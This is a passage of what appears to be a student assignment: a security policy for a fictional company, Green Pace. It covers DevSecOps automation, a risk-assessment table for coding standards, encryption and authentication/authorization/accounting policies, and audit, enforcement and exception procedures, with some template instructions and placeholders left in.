Automation will be used for the enforcement of and compliance to the standards defined in this policy. Green Pace already has a well-established DevOps process and infrastructure. Define guidance on where and how to modify the existing DevOps process to automate enforcement of the standards in this policy. Use the DevSecOps diagram and provide an explanation using that diagram as context.

Throughout the development lifecycle, it is crucial to implement error, or vulnerability check mechanisms to ensure that all issues and defects are detected early on before the product is deployed to the public. Aside from automation, we can also employ the services of the selected end users or stakeholders to constantly review the software throughout the SDLC. In the preproduction stage of the DevOps pipeline, automation can be heavily used in the “verify and test stage.” It is advised however to start automation in the “build” stage so that deficiencies and vulnerabilities can be identified early. Testing begins early so issues can be fixed immediately. Automate the build process and integrate automated security checks in the Continuous Integration pipeline to catch issues early. This includes running SAST tools, linting, and compliance checks. In the verify and test phase, include security-focused unit tests to validate the correctness and security of individual components of the software. Additionally, we can implement automated interactive application security testing (in the verify and test stage) to analyze application behavior in real-time, combining elements of both static and dynamic testing for comprehensive coverage.

In the production phase, automation is involved in all stages. We might want to throw in Regulatory Compliance after the monitor and detect stage. In transition and health check, automation could be used to check configurations to ensure that deployed environments adhere to security policies and standards. For the monitor and detect stage, automation can be used to implement continuous monitoring of applications and infrastructure for security threats, anomalies and breaches. Tools like SIEM systems can be integrated for real-time alerts and responses. Also, automate log collection and analysis to detect suspicious activities and potential security incidents. With Regulatory Compliance, compliance automation could be used to ensure adherence to industry standards and regulations. The respond stage of the DevOps pipeline involves formulation of incident response policies by Green Pace. To do this, we can automate responses to certain types of incidents to quickly mitigate risks, such as isolating compromised systems, applying patches, or rolling back deployments, as shown in the diagram. The final stage, maintain and stabilize, can be tied in with the response stage. Automation can be implemented here by using continuous integration/continuous deployment (CI/CD) pipeline and also continuous system monitoring. Also, automating system updates is a crucial part of maintaining and stabilizing an application after an attack.

Summary of Risk Assessments

Consolidate all risk assessments into one table including both coding and systems standards, ordered by standard number.

| Rule | Severity | Likelihood | Remediation Cost | Priority | Level |
| --- | --- | --- | --- | --- | --- |
| STD-001-CPP | High | Unlikely | Medium | High | 2 |
| STR-002-C | High | Likely | Medium | P18 | L1 |
| DCL-003-C | Low | Unlikely | High | P1 | L3 |
| DCL-012-C | Low | Unlikely | High | P1 | L3 |
| INT-030-C | High | Likely | High | P9 | L2 |
| STR-030-C | Low | Likely | Low | P9 | L2 |
| CON-050-CPP | Medium | Probable | High | P4 | L3 |
| MEM-050-CPP | High | Likely | Medium | P18 | L1 |
| ERR-051-CPP | Low | Probable | Medium | P4 | L3 |
| MEM-053-CPP | High | Likely | Medium | P18 | L1 |
| ERR-062-CPP | Medium | Unlikely | Medium | P4 | L3 |

Create Policies for Encryption and Triple A

Include all three types of encryptions (in flight, at rest, and in use) and each of the three elements of the Triple-A framework using the tables provided*.*

Explain each type of encryption, how it is used, and why and when the policy applies.

Explain each type of Triple-A framework strategy, how it is used, and why and when the policy applies.

Write policies for each and explain what it is, how it should be applied in practice, and why it should be used.

| Encryption | Explain what it is and how and why the policy applies. |
| --- | --- |
| Encryption at rest | It encrypts data stored on a disk or in databases. That is, data that is not moving through networks. A policy for encrypting data at rest secures files, documents, and data, ensuring that only those with the ‘key’ can access them. This policy ensures that even if the storage media is physically compromised (stolen), the data remains unreadable without the appropriate decryption keys. As mentioned, this policy is in place to safeguard sensitive data, thereby maintaining data confidentiality and integrity within software systems. |
| Encryption in flight | Also known as transit encryption, encryption in flight ensures that data is encrypted while being transmitted or as it travels across networks. This may involve securing data transmitted over the internet (HTTPS) and protecting sensitive data in transit between client and server. A policy for encryption of data in flight requires that all data transmitted over networks be encrypted. This can be done by using HTTPS protocol instead of HTTP and also using SSL/TLS protocols. This policy would safeguard data in transit or flight from interception, eavesdropping and unauthorized access. This also ensures that sensitive information, such as personal data, financial details, and authentication credentials, remains confidential and secure while traveling between clients and servers. Enforcing this policy is essential for preventing data breaches, preserving data integrity, and ensuring secure communications over potentially insecure networks, such as the internet. |
| Encryption in use | Encrypts data while it is being processed or used in memory. This involves securing data during computations in cloud environments and protecting sensitive information in applications (example secure enclaves). A policy for encryption in use in software security requires that data remain encrypted even while it is being processed or used in memory. It is vital to secure data during active use, particularly in environments where sensitive data is processed, such as cloud computing or financial transactions. It helps prevent exposure from memory dumps, process tracing, or side-channel attacks. Implementing this policy is crucial for safeguarding data in high-security environments, mitigating risks of memory scraping, process tracing, and side-channel attacks, thus ensuring continuous data protection throughout its lifecycle. |

| Triple-A Framework\* | Explain what it is and how and why the policy applies. |
| --- | --- |
| Authentication | Authentication verifies the identity of a user, confirming that the right person is accessing the system. A policy for authentication can be applied by implementing strong password policies (such as complexity requirements, regular changes) and the use of multi-factor authentication (MFA) to add an extra layer of security. Employ biometric verification for high-security applications. This policy ensures that only authorized individuals or systems can access resources, reducing the risk of unauthorized access. |
| Authorization | Authorization refers to an authenticated user’s rights and privileges. It also determines what resources an authenticated user or system can access. An authorization policy may encompass defining and enforcing role-based access control (RBAC) policies, implementing least privilege access, granting only necessary permissions and regular review and update of access permissions based on user roles and responsibilities. This policy ensures that authenticated users have the appropriate permissions, preventing unauthorized actions and access. By limiting the amount of accessibility, less trusted individuals have access to less resources to potentially cause harm to the system. |
| Accounting | Accounting involves monitoring activities and recording actions for compliance and security purposes. It tracks and logs user activities and accesses within the system. An accounting policy can be applied by implementing detailed logging of user activities and access attempts and conducting regular audits and reviews of logs to identify and respond to suspicious activities. Additionally, the policy may include the use of centralized logging and monitoring solutions for real-time analysis. Keeping an accounting policy provides an audit trail for security monitoring, compliance, and forensic analysis, helping detect and investigate unauthorized activities. |

\*Use this checklist for the Triple A to be sure you include these elements in your policy:

User logins

Changes to the database

Addition of new users

User level of access

Files accessed by users

Map the Principles

Map the principles to each of the standards, and provide a justification for the connection between the two. In the Module Three milestone, you added definitions for each of the 10 principles provided. Now it’s time to connect the standards to principles to show how they are supported by principles. You may have more than one principle for each standard, and the principles may be used more than once. Principles are numbered 1 through 10. You will list the number or numbers that apply to each standard, then explain how each of these principles supports the standard. This exercise demonstrates that you have based your security policy on widely accepted principles. Linking principles to standards is a best practice.

NOTE: Green Pace has already successfully implemented the following:

Operating system logs

Firewall logs

Anti-malware logs

The only item you must complete beyond this point is the Policy Version History table.

Audit Controls and Management

Every software development effort must be able to provide evidence of compliance for each software deployed into any Green Pace managed environment.

Evidence will include the following:

Code compliance to standards

Well-documented access-control strategies, with sampled evidence of compliance

Well-documented data-control standards defining the expected security posture of data at rest, in flight, and in use

Historical evidence of sustained practice (emails, logs, audits, meeting notes)

Enforcement

The office of the chief information security officer (OCISO) will enforce awareness and compliance of this policy, producing reports for the risk management committee (RMC) to review monthly. Every system deployed in any environment operated by Green Pace is expected to be in compliance with this policy at all times.

Staff members, consultants, or employees found in violation of this policy will be subject to disciplinary action, up to and including termination.

Exceptions Process

Any exception to the standards in this policy must be requested in writing with the following information:

Business or technical rationale

Risk impact analysis

Risk mitigation analysis

Plan to come into compliance

Date for when the plan to come into compliance will be completed

Approval for any exception must be granted by chief information officer (CIO) and the chief information security officer (CISO) or their appointed delegates of officer level.

Exceptions will remain on file with the office of the CISO, which will administer and govern compliance.

Distribution

This policy is to be distributed to all Green Pace IT staff annually. All IT staff will need to certify acceptance and awareness of this policy annually.

Policy Change Control

This policy will be automatically reviewed annually, no later than 365 days from the last revision date. Further, it will be reviewed in response to regulatory or compliance changes, and on demand as determined by the OCISO.

Policy Version History

| Version | Date | Description | Edited By | Approved By |
| --- | --- | --- | --- | --- |
| 1.0 | 08/05/2020 | Initial Template | David Buksbaum |  |
| [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] |
| [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] | [Insert text.] |

Appendix A Lookups

Approved C/C++ Language Acronyms

| Language | Acronym |
| --- | --- |
| C++ | CPP |
| C | CLG |
| Java | JAV |